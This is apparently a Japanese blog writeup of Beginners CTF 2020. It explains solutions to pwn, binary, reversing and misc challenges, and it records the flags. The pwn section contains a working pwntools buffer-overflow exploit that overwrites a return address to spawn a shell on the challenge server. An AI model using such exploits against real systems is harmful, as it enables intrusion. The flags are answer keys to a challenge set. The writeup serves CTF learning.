Beginners CTF 2020のwriteupを書く

最近CTF出てないなーと思ったので、久しぶりにBeginners CTF 2020に参加したので、writeupを書くことにした。 ちなみに、結果は507点で184位でした。Webを触りきらなかった。

pwn

Beginner's Stack

実行させると、アドレス位置が表示されてあからさまにwin関数に飛ばすように出てくる。いかにもその通りにbofを実行させればよいように見えるが、rspが0x10の倍数でないとダメになっている。が、先頭のpushで8バイトズレてしまうため、弾かれてしまう。ropを挟むのが本来の回答と思われるが、面倒だったので以下のスクリプトでダイレクトに0x4008B8に飛ばしてしまった。 f:id:chari589:20200614220152p:plain

from pwn import *

HOST = "bs.quals.beginners.seccon.jp"
PORT = 9001

# remote execute
conn = remote(HOST, PORT)

payload = b''
payload += b'a' * 40

payload += p64(0x4008B8)
print(payload)
conn.recvuntil('Input:')
conn.sendline(payload)
conn.interactive()

bin/shが勝手に起動するため、後はいつも通りに

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

binary

R&B

problem.pyを見るとRBでrot13とbase64decodeを繰り返している。 スクリプト書いて逆変換かけたら出てきた。

import base64
import codecs

data = ""
with open("encoded_flag", "r") as f:
    data = f.read()
roop = True
while roop:
    roop = False
    if data[0] == "B":
        data = base64.b64decode(data[1:].encode('utf-8')).decode('utf-8')
        roop = True
    if data[0] == "R":
        data = codecs.decode(data[1:], 'rot13')
        roop = True

print(data)
ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask

IDAを見ていると文字列に対してそれぞれ2つのANDをかけて以下のように比較していることがわかる

  • 0x75でANDを取り、atd4 `qdedtUpetepqeUdaaeUeaqau と一致する
  • 0xEBでANDを取り、c`b bk`kj`KbababcaKbacaKiackiと一致する

ということは以下の通りにすると復元できる

>>> a = 'atd4`qdedtUpetepqeUdaaeUeaqau'
>>> b = 'c`b bk`kj`KbababcaKbacaKiacki'
>>> s = ''
>>> for i in range(len(a)):
...  s += chr(ord(a[i]) | ord(b[i]))
>>> print(s)
ctf4b{dont_reverse_face_mask}

yakisoba

IDAでどうしようかと思って眺めていたらたまたま}でretしている箇所があった。もしかしたらこれ辿っていけそうとか思ったので、レジスタを参照しているであろう箇所をすべて辿る超力業を実行した。angrとか使おうよ・・・

ctf4b{sp4gh3tt1_r1pp3r1n0}

Misc

emoemoencode

絵文字が出てくる

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

これらの文字の下2ケタがasciiの文字コードと対応しているため、対応を見ていけばよい。

ctf4b{stegan0graphy_by_em000000ji}